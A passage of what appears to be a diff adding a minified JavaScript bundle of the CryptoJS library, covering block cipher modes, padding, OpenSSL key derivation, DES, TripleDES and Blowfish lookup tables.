function(e) { + return e && this._append(e), this._doFinalize() + }, + keySize: 4, + ivSize: 4, + _ENC_XFORM_MODE: 1, + _DEC_XFORM_MODE: 2, + _createHelper: function() { + function e(e) { + return "string" == typeof e ? b : m + } + return function(t) { + return { + encrypt: function(r, o, n) { + return e(o).encrypt(t, r, o, n) + }, + decrypt: function(r, o, n) { + return e(o).decrypt(t, r, o, n) + } + } + } + }() + }); + o.StreamCipher = l.extend({ + _doFinalize: function() { + return this._process(!0) + }, + blockSize: 1 + }); + var h = r.mode = {}, + d = o.BlockCipherMode = n.extend({ + createEncryptor: function(e, t) { + return this.Encryptor.create(e, t) + }, + createDecryptor: function(e, t) { + return this.Decryptor.create(e, t) + }, + init: function(e, t) { + this._cipher = e, this._iv = t + } + }), + f = h.CBC = function() { + var e = d.extend(); + + function r(e, r, o) { + var n, i = this._iv; + i ? (n = i, this._iv = t) : n = this._prevBlock; + for (var s = 0; s < o; s++) e[r + s] ^= n[s] + } + return e.Encryptor = e.extend({ + processBlock: function(e, t) { + var o = this._cipher, + n = o.blockSize; + r.call(this, e, t, n), o.encryptBlock(e, t), this._prevBlock = e.slice(t, t + n) + } + }), e.Decryptor = e.extend({ + processBlock: function(e, t) { + var o = this._cipher, + n = o.blockSize, + i = e.slice(t, t + n); + o.decryptBlock(e, t), r.call(this, e, t, n), this._prevBlock = i + } + }), e + }(), + p = (r.pad = {}).Pkcs7 = { + pad: function(e, t) { + for (var r = 4 * t, o = r - e.sigBytes % r, n = o << 24 | o << 16 | o << 8 | o, s = [], a = 0; a < o; a += 4) s.push(n); + var c = i.create(s, o); + e.concat(c) + }, + unpad: function(e) { + var t = 255 & e.words[e.sigBytes - 1 >>> 2]; + e.sigBytes -= t + } + }; + o.BlockCipher = l.extend({ + cfg: l.cfg.extend({ + mode: f, + padding: p + }), + reset: function() { + var e; + l.reset.call(this); + var t = this.cfg, + r = t.iv, + o = t.mode; + this._xformMode == this._ENC_XFORM_MODE ? e = o.createEncryptor : (e = o.createDecryptor, this._minBufferSize = 1), this._mode && this._mode.__creator == e ? this._mode.init(this, r && r.words) : (this._mode = e.call(o, this, r && r.words), this._mode.__creator = e) + }, + _doProcessBlock: function(e, t) { + this._mode.processBlock(e, t) + }, + _doFinalize: function() { + var e, t = this.cfg.padding; + return this._xformMode == this._ENC_XFORM_MODE ? (t.pad(this._data, this.blockSize), e = this._process(!0)) : (e = this._process(!0), t.unpad(e)), e + }, + blockSize: 4 + }); + var y = o.CipherParams = n.extend({ + init: function(e) { + this.mixIn(e) + }, + toString: function(e) { + return (e || this.formatter).stringify(this) + } + }), + g = (r.format = {}).OpenSSL = { + stringify: function(e) { + var t = e.ciphertext, + r = e.salt; + return (r ? i.create([1398893684, 1701076831]).concat(r).concat(t) : t).toString(c) + }, + parse: function(e) { + var t, r = c.parse(e), + o = r.words; + return 1398893684 == o[0] && 1701076831 == o[1] && (t = i.create(o.slice(2, 4)), o.splice(0, 4), r.sigBytes -= 16), y.create({ + ciphertext: r, + salt: t + }) + } + }, + m = o.SerializableCipher = n.extend({ + cfg: n.extend({ + format: g + }), + encrypt: function(e, t, r, o) { + o = this.cfg.extend(o); + var n = e.createEncryptor(r, o), + i = n.finalize(t), + s = n.cfg; + return y.create({ + ciphertext: i, + key: r, + iv: s.iv, + algorithm: e, + mode: s.mode, + padding: s.padding, + blockSize: e.blockSize, + formatter: o.format + }) + }, + decrypt: function(e, t, r, o) { + return o = this.cfg.extend(o), t = this._parse(t, o.format), e.createDecryptor(r, o).finalize(t.ciphertext) + }, + _parse: function(e, t) { + return "string" == typeof e ? t.parse(e, this) : e + } + }), + v = (r.kdf = {}).OpenSSL = { + execute: function(e, t, r, o, n) { + if (o || (o = i.random(8)), n) s = u.create({ + keySize: t + r, + hasher: n + }).compute(e, o); + else var s = u.create({ + keySize: t + r + }).compute(e, o); + var a = i.create(s.words.slice(t), 4 * r); + return s.sigBytes = 4 * t, y.create({ + key: s, + iv: a, + salt: o + }) + } + }, + b = o.PasswordBasedCipher = m.extend({ + cfg: m.cfg.extend({ + kdf: v + }), + encrypt: function(e, t, r, o) { + var n = (o = this.cfg.extend(o)).kdf.execute(r, e.keySize, e.ivSize, o.salt, o.hasher); + o.iv = n.iv; + var i = m.encrypt.call(this, e, t, n.key, o); + return i.mixIn(n), i + }, + decrypt: function(e, t, r, o) { + o = this.cfg.extend(o), t = this._parse(t, o.format); + var n = o.kdf.execute(r, e.keySize, e.ivSize, t.salt, o.hasher); + return o.iv = n.iv, m.decrypt.call(this, e, t, n.key, o) + } + }) + }() + }(v(), ce())), le.exports +} +var de, fe = { + exports: {} +}; + +function pe() { + return de || (de = 1, fe.exports = function(e) { + return e.mode.CFB = function() { + var t = e.lib.BlockCipherMode.extend(); + + function r(e, t, r, o) { + var n, i = this._iv; + i ? (n = i.slice(0), this._iv = void 0) : n = this._prevBlock, o.encryptBlock(n, 0); + for (var s = 0; s < r; s++) e[t + s] ^= n[s] + } + return t.Encryptor = t.extend({ + processBlock: function(e, t) { + var o = this._cipher, + n = o.blockSize; + r.call(this, e, t, n, o), this._prevBlock = e.slice(t, t + n) + } + }), t.Decryptor = t.extend({ + processBlock: function(e, t) { + var o = this._cipher, + n = o.blockSize, + i = e.slice(t, t + n); + r.call(this, e, t, n, o), this._prevBlock = i + } + }), t + }(), e.mode.CFB + }(v(), he())), fe.exports +} +var ye, ge = { + exports: {} +}; + +function me() { + return ye || (ye = 1, ge.exports = function(e) { + return e.mode.CTR = (t = e.lib.BlockCipherMode.extend(), r = t.Encryptor = t.extend({ + processBlock: function(e, t) { + var r = this._cipher, + o = r.blockSize, + n = this._iv, + i = this._counter; + n && (i = this._counter = n.slice(0), this._iv = void 0); + var s = i.slice(0); + r.encryptBlock(s, 0), i[o - 1] = i[o - 1] + 1 | 0; + for (var a = 0; a < o; a++) e[t + a] ^= s[a] + } + }), t.Decryptor = r, t), e.mode.CTR; + var t, r + }(v(), he())), ge.exports +} +var ve, be = { + exports: {} +}; + +function we() { + return ve || (ve = 1, be.exports = function(e) { + /** @preserve + * Counter block mode compatible with Dr Brian Gladman fileenc.c + * derived from CryptoJS.mode.CTR + * Jan Hruby jhruby.web@gmail.com + */ + return e.mode.CTRGladman = function() { + var t = e.lib.BlockCipherMode.extend(); + + function r(e) { + if (255 & ~(e >> 24)) e += 1 << 24; + else { + var t = e >> 16 & 255, + r = e >> 8 & 255, + o = 255 & e; + 255 === t ? (t = 0, 255 === r ? (r = 0, 255 === o ? o = 0 : ++o) : ++r) : ++t, e = 0, e += t << 16, e += r << 8, e += o + } + return e + } + + function o(e) { + return 0 === (e[0] = r(e[0])) && (e[1] = r(e[1])), e + } + var n = t.Encryptor = t.extend({ + processBlock: function(e, t) { + var r = this._cipher, + n = r.blockSize, + i = this._iv, + s = this._counter; + i && (s = this._counter = i.slice(0), this._iv = void 0), o(s); + var a = s.slice(0); + r.encryptBlock(a, 0); + for (var c = 0; c < n; c++) e[t + c] ^= a[c] + } + }); + return t.Decryptor = n, t + }(), e.mode.CTRGladman + }(v(), he())), be.exports +} +var ke, _e = { + exports: {} +}; + +function xe() { + return ke || (ke = 1, _e.exports = function(e) { + return e.mode.OFB = (t = e.lib.BlockCipherMode.extend(), r = t.Encryptor = t.extend({ + processBlock: function(e, t) { + var r = this._cipher, + o = r.blockSize, + n = this._iv, + i = this._keystream; + n && (i = this._keystream = n.slice(0), this._iv = void 0), r.encryptBlock(i, 0); + for (var s = 0; s < o; s++) e[t + s] ^= i[s] + } + }), t.Decryptor = r, t), e.mode.OFB; + var t, r + }(v(), he())), _e.exports +} +var Se, Be = { + exports: {} +}; +var Ae, Te = { + exports: {} +}; +var Ce, Ee = { + exports: {} +}; +var $e, Re = { + exports: {} +}; +var ze, De = { + exports: {} +}; +var He, Me = { + exports: {} +}; +var je, Ie = { + exports: {} +}; +var Fe, Ne = { + exports: {} +}; +var Pe, Oe = { + exports: {} +}; + +function Le() { + return Pe || (Pe = 1, Oe.exports = function(e) { + return function() { + var t = e, + r = t.lib, + o = r.WordArray, + n = r.BlockCipher, + i = t.algo, + s = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], + a = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], + c = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], + u = [{ + 0: 8421888, + 268435456: 32768, + 536870912: 8421378, + 805306368: 2, + 1073741824: 512, + 1342177280: 8421890, + 1610612736: 8389122, + 1879048192: 8388608, + 2147483648: 514, + 2415919104: 8389120, + 2684354560: 33280, + 2952790016: 8421376, + 3221225472: 32770, + 3489660928: 8388610, + 3758096384: 0, + 4026531840: 33282, + 134217728: 0, + 402653184: 8421890, + 671088640: 33282, + 939524096: 32768, + 1207959552: 8421888, + 1476395008: 512, + 1744830464: 8421378, + 2013265920: 2, + 2281701376: 8389120, + 2550136832: 33280, + 2818572288: 8421376, + 3087007744: 8389122, + 3355443200: 8388610, + 3623878656: 32770, + 3892314112: 514, + 4160749568: 8388608, + 1: 32768, + 268435457: 2, + 536870913: 8421888, + 805306369: 8388608, + 1073741825: 8421378, + 1342177281: 33280, + 1610612737: 512, + 1879048193: 8389122, + 2147483649: 8421890, + 2415919105: 8421376, + 2684354561: 8388610, + 2952790017: 33282, + 3221225473: 514, + 3489660929: 8389120, + 3758096385: 32770, + 4026531841: 0, + 134217729: 8421890, + 402653185: 8421376, + 671088641: 8388608, + 939524097: 512, + 1207959553: 32768, + 1476395009: 8388610, + 1744830465: 2, + 2013265921: 33282, + 2281701377: 32770, + 2550136833: 8389122, + 2818572289: 514, + 3087007745: 8421888, + 3355443201: 8389120, + 3623878657: 0, + 3892314113: 33280, + 4160749569: 8421378 + }, { + 0: 1074282512, + 16777216: 16384, + 33554432: 524288, + 50331648: 1074266128, + 67108864: 1073741840, + 83886080: 1074282496, + 100663296: 1073758208, + 117440512: 16, + 134217728: 540672, + 150994944: 1073758224, + 167772160: 1073741824, + 184549376: 540688, + 201326592: 524304, + 218103808: 0, + 234881024: 16400, + 251658240: 1074266112, + 8388608: 1073758208, + 25165824: 540688, + 41943040: 16, + 58720256: 1073758224, + 75497472: 1074282512, + 92274688: 1073741824, + 109051904: 524288, + 125829120: 1074266128, + 142606336: 524304, + 159383552: 0, + 176160768: 16384, + 192937984: 1074266112, + 209715200: 1073741840, + 226492416: 540672, + 243269632: 1074282496, + 260046848: 16400, + 268435456: 0, + 285212672: 1074266128, + 301989888: 1073758224, + 318767104: 1074282496, + 335544320: 1074266112, + 352321536: 16, + 369098752: 540688, + 385875968: 16384, + 402653184: 16400, + 419430400: 524288, + 436207616: 524304, + 452984832: 1073741840, + 469762048: 540672, + 486539264: 1073758208, + 503316480: 1073741824, + 520093696: 1074282512, + 276824064: 540688, + 293601280: 524288, + 310378496: 1074266112, + 327155712: 16384, + 343932928: 1073758208, + 360710144: 1074282512, + 377487360: 16, + 394264576: 1073741824, + 411041792: 1074282496, + 427819008: 1073741840, + 444596224: 1073758224, + 461373440: 524304, + 478150656: 0, + 494927872: 16400, + 511705088: 1074266128, + 528482304: 540672 + }, { + 0: 260, + 1048576: 0, + 2097152: 67109120, + 3145728: 65796, + 4194304: 65540, + 5242880: 67108868, + 6291456: 67174660, + 7340032: 67174400, + 8388608: 67108864, + 9437184: 67174656, + 10485760: 65792, + 11534336: 67174404, + 12582912: 67109124, + 13631488: 65536, + 14680064: 4, + 15728640: 256, + 524288: 67174656, + 1572864: 67174404, + 2621440: 0, + 3670016: 67109120, + 4718592: 67108868, + 5767168: 65536, + 6815744: 65540, + 7864320: 260, + 8912896: 4, + 9961472: 256, + 11010048: 67174400, + 12058624: 65796, + 13107200: 65792, + 14155776: 67109124, + 15204352: 67174660, + 16252928: 67108864, + 16777216: 67174656, + 17825792: 65540, + 18874368: 65536, + 19922944: 67109120, + 20971520: 256, + 22020096: 67174660, + 23068672: 67108868, + 24117248: 0, + 25165824: 67109124, + 26214400: 67108864, + 27262976: 4, + 28311552: 65792, + 29360128: 67174400, + 30408704: 260, + 31457280: 65796, + 32505856: 67174404, + 17301504: 67108864, + 18350080: 260, + 19398656: 67174656, + 20447232: 0, + 21495808: 65540, + 22544384: 67109120, + 23592960: 256, + 24641536: 67174404, + 25690112: 65536, + 26738688: 67174660, + 27787264: 65796, + 28835840: 67108868, + 29884416: 67109124, + 30932992: 67174400, + 31981568: 4, + 33030144: 65792 + }, { + 0: 2151682048, + 65536: 2147487808, + 131072: 4198464, + 196608: 2151677952, + 262144: 0, + 327680: 4198400, + 393216: 2147483712, + 458752: 4194368, + 524288: 2147483648, + 589824: 4194304, + 655360: 64, + 720896: 2147487744, + 786432: 2151678016, + 851968: 4160, + 917504: 4096, + 983040: 2151682112, + 32768: 2147487808, + 98304: 64, + 163840: 2151678016, + 229376: 2147487744, + 294912: 4198400, + 360448: 2151682112, + 425984: 0, + 491520: 2151677952, + 557056: 4096, + 622592: 2151682048, + 688128: 4194304, + 753664: 4160, + 819200: 2147483648, + 884736: 4194368, + 950272: 4198464, + 1015808: 2147483712, + 1048576: 4194368, + 1114112: 4198400, + 1179648: 2147483712, + 1245184: 0, + 1310720: 4160, + 1376256: 2151678016, + 1441792: 2151682048, + 1507328: 2147487808, + 1572864: 2151682112, + 1638400: 2147483648, + 1703936: 2151677952, + 1769472: 4198464, + 1835008: 2147487744, + 1900544: 4194304, + 1966080: 64, + 2031616: 4096, + 1081344: 2151677952, + 1146880: 2151682112, + 1212416: 0, + 1277952: 4198400, + 1343488: 4194368, + 1409024: 2147483648, + 1474560: 2147487808, + 1540096: 64, + 1605632: 2147483712, + 1671168: 4096, + 1736704: 2147487744, + 1802240: 2151678016, + 1867776: 4160, + 1933312: 2151682048, + 1998848: 4194304, + 2064384: 4198464 + }, { + 0: 128, + 4096: 17039360, + 8192: 262144, + 12288: 536870912, + 16384: 537133184, + 20480: 16777344, + 24576: 553648256, + 28672: 262272, + 32768: 16777216, + 36864: 537133056, + 40960: 536871040, + 45056: 553910400, + 49152: 553910272, + 53248: 0, + 57344: 17039488, + 61440: 553648128, + 2048: 17039488, + 6144: 553648256, + 10240: 128, + 14336: 17039360, + 18432: 262144, + 22528: 537133184, + 26624: 553910272, + 30720: 536870912, + 34816: 537133056, + 38912: 0, + 43008: 553910400, + 47104: 16777344, + 51200: 536871040, + 55296: 553648128, + 59392: 16777216, + 63488: 262272, + 65536: 262144, + 69632: 128, + 73728: 536870912, + 77824: 553648256, + 81920: 16777344, + 86016: 553910272, + 90112: 537133184, + 94208: 16777216, + 98304: 553910400, + 102400: 553648128, + 106496: 17039360, + 110592: 537133056, + 114688: 262272, + 118784: 536871040, + 122880: 0, + 126976: 17039488, + 67584: 553648256, + 71680: 16777216, + 75776: 17039360, + 79872: 537133184, + 83968: 536870912, + 88064: 17039488, + 92160: 128, + 96256: 553910272, + 100352: 262272, + 104448: 553910400, + 108544: 0, + 112640: 553648128, + 116736: 16777344, + 120832: 262144, + 124928: 537133056, + 129024: 536871040 + }, { + 0: 268435464, + 256: 8192, + 512: 270532608, + 768: 270540808, + 1024: 268443648, + 1280: 2097152, + 1536: 2097160, + 1792: 268435456, + 2048: 0, + 2304: 268443656, + 2560: 2105344, + 2816: 8, + 3072: 270532616, + 3328: 2105352, + 3584: 8200, + 3840: 270540800, + 128: 270532608, + 384: 270540808, + 640: 8, + 896: 2097152, + 1152: 2105352, + 1408: 268435464, + 1664: 268443648, + 1920: 8200, + 2176: 2097160, + 2432: 8192, + 2688: 268443656, + 2944: 270532616, + 3200: 0, + 3456: 270540800, + 3712: 2105344, + 3968: 268435456, + 4096: 268443648, + 4352: 270532616, + 4608: 270540808, + 4864: 8200, + 5120: 2097152, + 5376: 268435456, + 5632: 268435464, + 5888: 2105344, + 6144: 2105352, + 6400: 0, + 6656: 8, + 6912: 270532608, + 7168: 8192, + 7424: 268443656, + 7680: 270540800, + 7936: 2097160, + 4224: 8, + 4480: 2105344, + 4736: 2097152, + 4992: 268435464, + 5248: 268443648, + 5504: 8200, + 5760: 270540808, + 6016: 270532608, + 6272: 270540800, + 6528: 270532616, + 6784: 8192, + 7040: 2105352, + 7296: 2097160, + 7552: 0, + 7808: 268435456, + 8064: 268443656 + }, { + 0: 1048576, + 16: 33555457, + 32: 1024, + 48: 1049601, + 64: 34604033, + 80: 0, + 96: 1, + 112: 34603009, + 128: 33555456, + 144: 1048577, + 160: 33554433, + 176: 34604032, + 192: 34603008, + 208: 1025, + 224: 1049600, + 240: 33554432, + 8: 34603009, + 24: 0, + 40: 33555457, + 56: 34604032, + 72: 1048576, + 88: 33554433, + 104: 33554432, + 120: 1025, + 136: 1049601, + 152: 33555456, + 168: 34603008, + 184: 1048577, + 200: 1024, + 216: 34604033, + 232: 1, + 248: 1049600, + 256: 33554432, + 272: 1048576, + 288: 33555457, + 304: 34603009, + 320: 1048577, + 336: 33555456, + 352: 34604032, + 368: 1049601, + 384: 1025, + 400: 34604033, + 416: 1049600, + 432: 1, + 448: 0, + 464: 34603008, + 480: 33554433, + 496: 1024, + 264: 1049600, + 280: 33555457, + 296: 34603009, + 312: 1, + 328: 33554432, + 344: 1048576, + 360: 1025, + 376: 34604032, + 392: 33554433, + 408: 34603008, + 424: 0, + 440: 34604033, + 456: 1049601, + 472: 1024, + 488: 33555456, + 504: 1048577 + }, { + 0: 134219808, + 1: 131072, + 2: 134217728, + 3: 32, + 4: 131104, + 5: 134350880, + 6: 134350848, + 7: 2048, + 8: 134348800, + 9: 134219776, + 10: 133120, + 11: 134348832, + 12: 2080, + 13: 0, + 14: 134217760, + 15: 133152, + 2147483648: 2048, + 2147483649: 134350880, + 2147483650: 134219808, + 2147483651: 134217728, + 2147483652: 134348800, + 2147483653: 133120, + 2147483654: 133152, + 2147483655: 32, + 2147483656: 134217760, + 2147483657: 2080, + 2147483658: 131104, + 2147483659: 134350848, + 2147483660: 0, + 2147483661: 134348832, + 2147483662: 134219776, + 2147483663: 131072, + 16: 133152, + 17: 134350848, + 18: 32, + 19: 2048, + 20: 134219776, + 21: 134217760, + 22: 134348832, + 23: 131072, + 24: 0, + 25: 131104, + 26: 134348800, + 27: 134219808, + 28: 134350880, + 29: 133120, + 30: 2080, + 31: 134217728, + 2147483664: 131072, + 2147483665: 2048, + 2147483666: 134348832, + 2147483667: 133152, + 2147483668: 32, + 2147483669: 134348800, + 2147483670: 134217728, + 2147483671: 134219808, + 2147483672: 134350880, + 2147483673: 134217760, + 2147483674: 134219776, + 2147483675: 0, + 2147483676: 133120, + 2147483677: 2080, + 2147483678: 131104, + 2147483679: 134350848 + }], + l = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], + h = i.DES = n.extend({ + _doReset: function() { + for (var e = this._key.words, t = [], r = 0; r < 56; r++) { + var o = s[r] - 1; + t[r] = e[o >>> 5] >>> 31 - o % 32 & 1 + } + for (var n = this._subKeys = [], i = 0; i < 16; i++) { + var u = n[i] = [], + l = c[i]; + for (r = 0; r < 24; r++) u[r / 6 | 0] |= t[(a[r] - 1 + l) % 28] << 31 - r % 6, u[4 + (r / 6 | 0)] |= t[28 + (a[r + 24] - 1 + l) % 28] << 31 - r % 6; + for (u[0] = u[0] << 1 | u[0] >>> 31, r = 1; r < 7; r++) u[r] = u[r] >>> 4 * (r - 1) + 3; + u[7] = u[7] << 5 | u[7] >>> 27 + } + var h = this._invSubKeys = []; + for (r = 0; r < 16; r++) h[r] = n[15 - r] + }, + encryptBlock: function(e, t) { + this._doCryptBlock(e, t, this._subKeys) + }, + decryptBlock: function(e, t) { + this._doCryptBlock(e, t, this._invSubKeys) + }, + _doCryptBlock: function(e, t, r) { + this._lBlock = e[t], this._rBlock = e[t + 1], d.call(this, 4, 252645135), d.call(this, 16, 65535), f.call(this, 2, 858993459), f.call(this, 8, 16711935), d.call(this, 1, 1431655765); + for (var o = 0; o < 16; o++) { + for (var n = r[o], i = this._lBlock, s = this._rBlock, a = 0, c = 0; c < 8; c++) a |= u[c][((s ^ n[c]) & l[c]) >>> 0]; + this._lBlock = s, this._rBlock = i ^ a + } + var h = this._lBlock; + this._lBlock = this._rBlock, this._rBlock = h, d.call(this, 1, 1431655765), f.call(this, 8, 16711935), f.call(this, 2, 858993459), d.call(this, 16, 65535), d.call(this, 4, 252645135), e[t] = this._lBlock, e[t + 1] = this._rBlock + }, + keySize: 2, + ivSize: 2, + blockSize: 2 + }); + + function d(e, t) { + var r = (this._lBlock >>> e ^ this._rBlock) & t; + this._rBlock ^= r, this._lBlock ^= r << e + } + + function f(e, t) { + var r = (this._rBlock >>> e ^ this._lBlock) & t; + this._lBlock ^= r, this._rBlock ^= r << e + } + t.DES = n._createHelper(h); + var p = i.TripleDES = n.extend({ + _doReset: function() { + var e = this._key.words; + if (2 !== e.length && 4 !== e.length && e.length < 6) throw new Error("Invalid key length - 3DES requires the key length to be 64, 128, 192 or >192."); + var t = e.slice(0, 2), + r = e.length < 4 ? e.slice(0, 2) : e.slice(2, 4), + n = e.length < 6 ? e.slice(0, 2) : e.slice(4, 6); + this._des1 = h.createEncryptor(o.create(t)), this._des2 = h.createEncryptor(o.create(r)), this._des3 = h.createEncryptor(o.create(n)) + }, + encryptBlock: function(e, t) { + this._des1.encryptBlock(e, t), this._des2.decryptBlock(e, t), this._des3.encryptBlock(e, t) + }, + decryptBlock: function(e, t) { + this._des3.decryptBlock(e, t), this._des2.encryptBlock(e, t), this._des1.decryptBlock(e, t) + }, + keySize: 6, + ivSize: 2, + blockSize: 2 + }); + t.TripleDES = n._createHelper(p) + }(), e.TripleDES + }(v(), $(), j(), ce(), he())), Oe.exports +} +var qe, Ue = { + exports: {} +}; +var We, Je = { + exports: {} +}; +var Xe, Ke = { + exports: {} +}; +var Ve, Ge = { + exports: {} +}; + +function Qe() { + return Ve || (Ve = 1, Ge.exports = function(e) { + return function() { + var t = e, + r = t.lib.BlockCipher, + o = t.algo; + const n = 16, + i = [608135816, 2242054355, 320440878, 57701188, 2752067618, 698298832, 137296536, 3964562569, 1160258022, 953160567, 3193202383, 887688300, 3232508343, 3380367581, 1065670069, 3041331479, 2450970073, 2306472731], + s = [ + [3509652390, 2564797868, 805139163, 3491422135, 3101798381, 1780907670, 3128725573, 4046225305, 614570311, 3012652279, 134345442, 2240740374, 1667834072, 1901547113, 2757295779, 4103290238, 227898511, 1921955416, 1904987480, 2182433518, 2069144605, 3260701109, 2620446009, 720527379, 3318853667, 677414384, 3393288472, 3101374703, 2390351024, 1614419982, 1822297739, 2954791486, 3608508353, 3174124327, 2024746970, 1432378464, 3864339955, 2857741204, 1464375394, 1676153920, 1439316330, 715854006, 3033291828, 289532110, 2706671279, 2087905683, 3018724369, 1668267050, 732546397, 1947742710, 3462151702, 2609353502, 2950085171, 1814351708, 2050118529, 680887927, 999245976, 1800124847, 3300911131, 1713906067, 1641548236, 4213287313, 1216130144, 1575780402, 4018429277, 3917837745, 3693486850, 3949271944, 596196993, 3549867205, 258830323, 2213823033, 772490370, 2760122372, 1774776394, 2652871518, 566650946, 4142492826, 1728879713, 2882767088, 1783734482, 3629395816, 2517608232, 2874225571, 1861159788, 326777828, 3124490320, 2130389656, 2716951837, 967770486, 1724537150, 2185432712, 2364442137, 1164943284, 2105845187, 998989502, 3765401048, 2244026483, 1075463327, 1455516326, 1322494562, 910128902, 469688178, 1117454909, 936433444, 3490320968, 3675253459, 1240580251, 122909385, 2157517691, 634681816, 4142456567, 3825094682, 3061402683, 2540495037, 79693498, 3249098678, 1084186820, 1583128258, 426386531, 1761308591, 1047286709, 322548459, 995290223, 1845252383, 2603652396, 3431023940, 2942221577, 3202600964, 3727903485, 1712269319, 422464435, 3234572375, 1170764815, 3523960633, 3117677531, 1434042557, 442511882, 3600875718, 1076654713, 1738483198, 4213154764, 2393238008, 3677496056, 1014306527, 4251020053, 793779912, 2902807211, 842905082, 4246964064, 1395751752, 1040244610, 2656851899, 3396308128, 445077038, 3742853595, 3577915638, 679411651, 2892444358, 2354009459, 1767581616, 3150600392, 3791627101, 3102740896, 284835224, 4246832056, 1258075500, 768725851, 2589189241, 3069724005, 3532540348, 1274779536, 3789419226, 2764799539, 1660621633, 3471099624, 4011903706, 913787905, 3497959166, 737222580, 2514213453, 2928710040, 3937242737, 1804850592, 3499020752, 2949064160, 2386320175, 2390070455, 2415321851, 4061277028, 2290661394, 2416832540, 1336762016, 1754252060, 3520065937, 3014181293, 791618072, 3188594551, 3933548030, 2332172193, 3852520463, 3043980520, 413987798, 3465142937, 3030929376, 4245938359, 2093235073, 3534596313, 375366246, 2157278981, 2479649556, 555357303, 3870105701, 2008414854, 3344188149, 4221384143, 3956125452, 2067696032, 3594591187, 2921233993, 2428461, 544322398, 577241275, 1471733935, 610547355, 4027169054, 1432588573, 1507829418, 2025931657, 3646575487, 545086370, 48609733, 2200306550, 1653985193, 298326376, 1316178497, 3007786442, 2064951626, 458293330, 2589141269, 3591329599, 3164325604, 727753846, 2179363840, 146436021, 1461446943, 4069977195, 705550613, 3059967265, 3887724982, 4281599278, 3313849956, 1404054877, 2845806497, 146425753, 1854211946], + [1266315497, 3048417604, 3681880366, 3289982499, 290971e4, 1235738493, 2632868024, 2414719590, 3970600049, 1771706367, 1449415276, 3266420449, 422970021, 1963543593, 2690192192, 3826793022, 1062508698, 1531092325, 1804592342, 2583117782, 2714934279, 4024971509, 1294809318, 4028980673, 1289560198, 2221992742, 1669523910, 35572830, 157838143, 1052438473, 1016535060, 1802137761, 1753167236, 1386275462, 3080475397, 2857371447, 1040679964, 2145300060, 2390574316, 1461121720, 2956646967, 4031777805, 4028374788, 33600511, 2920084762, 1018524850, 629373528, 3691585981, 3515945977, 2091462646, 2486323059, 586499841, 988145025, 935516892, 3367335476, 2599673255, 2839830854, 265290510, 3972581182, 2759138881, 3795373465, 1005194799, 847297441, 406762289, 1314163512, 1332590856, 1866599683, 4127851711, 750260880, 613907577, 1450815602, 3165620655, 3734664991, 3650291728, 3012275730, 3704569646, 1427272223, 778793252, 1343938022, 2676280711, 2052605720, 1946737175, 3164576444, 3914038668, 3967478842, 3682934266, 1661551462, 3294938066, 4011595847, 840292616, 3712170807, 616741398, 312560963, 711312465, 1351876610, 322626781, 1910503582, 271666773, 2175563734, 1594956187, 70604529, 3617834859, 1007753275, 1495573769, 4069517037, 2549218298, 2663038764, 504708206, 2263041392, 3941167025, 2249088522, 1514023603, 1998579484, 1312622330, 694541497, 2582060303, 2151582166, 1382467621, 776784248, 2618340202, 3323268794, 2497899128, 2784771155, 503983604, 4076293799, 907881277, 423175695, 432175456, 1378068232, 4145222326, 3954048622, 3938656102, 3820766613, 2793130115, 2977904593, 26017576, 3274890735, 3194772133, 1700274565, 1756076034, 4006520079, 3677328699, 720338349, 1533947780, 354530856, 688349552, 3973924725, 1637815568, 332179504, 3949051286, 53804574, 2852348879, 3044236432, 1282449977, 3583942155, 3416972820, 4006381244, 1617046695, 2628476075, 3002303598, 1686838959, 431878346, 2686675385, 1700445008, 1080580658, 1009431731, 832498133, 3223435511, 2605976345, 2271191193, 2516031870, 1648197032, 4164389018, 2548247927, 300782431, 375919233, 238389289, 3353747414, 2531188641, 2019080857, 1475708069, 455242339, 2609103871, 448939670, 3451063019, 1395535956, 2413381860, 1841049896, 1491858159, 885456874, 4264095073, 4001119347, 1565136089, 3898914787, 1108368660, 540939232, 1173283510, 2745871338, 3681308437, 4207628240, 3343053890, 4016749493, 1699691293, 1103962373, 3625875870, 2256883143, 3830138730, 1031889488, 3479347698, 1535977030, 4236805024, 3251091107, 2132092099, 1774941330, 1199868427, 1452454533, 157007616, 2904115357, 342012276, 595725824, 1480756522, 206960106, 497939518, 591360097, 863170706, 2375253569, 3596610801, 1814182875, 2094937945, 3421402208, 1082520231, 3463918190, 2785509508, 435703966, 3908032597, 1641649973, 2842273706, 3305899714, 1510255612, 2148256476, 2655287854, 3276092548, 4258621189, 236887753, 3681803219, 274041037, 1734335097, 3815195456, 3317970021, 1899903192, 1026095262, 4050517792, 356393447, 2410691914, 3873677099, 3682840055], + [3913112168, 2491498743, 4132185628, 2489919796, 1091903735, 1979897079, 3170134830, 3567386728, 3557303409, 857797738, 1136121015, 1342202287, 507115054, 2535736646, 337727348, 3213592640, 1301675037, 2528481711, 1895095763, 1721773893, 3216771564, 62756741, 2142006736, 835421444, 2531993523, 1442658625, 3659876326, 2882144922, 676362277, 1392781812, 170690266, 3921047035, 1759253602, 3611846912, 1745797284, 664899054, 1329594018, 3901205900, 3045908486, 2062866102, 2865634940, 3543621612, 3464012697, 1080764994, 553557557, 3656615353, 3996768171, 991055499, 499776247, 1265440854, 648242737, 3940784050, 980351604, 3713745714, 1749149687, 3396870395, 4211799374, 3640570775, 1161844396, 3125318951, 1431517754, 545492359, 4268468663, 3499529547, 1437099964, 2702547544, 3433638243, 2581715763, 2787789398, 1060185593, 1593081372, 2418618748, 4260947970, 69676912, 2159744348, 86519011, 2512459080, 3838209314, 1220612927, 3339683548, 133810670, 1090789135, 1078426020, 1569222167, 845107691, 3583754449, 4072456591, 1091646820, 628848692, 1613405280, 3757631651, 526609435, 236106946, 48312990, 2942717905, 3402727701, 1797494240, 859738849, 992217954, 4005476642, 2243076622, 3870952857, 3732016268, 765654824, 3490871365, 2511836413, 1685915746, 3888969200, 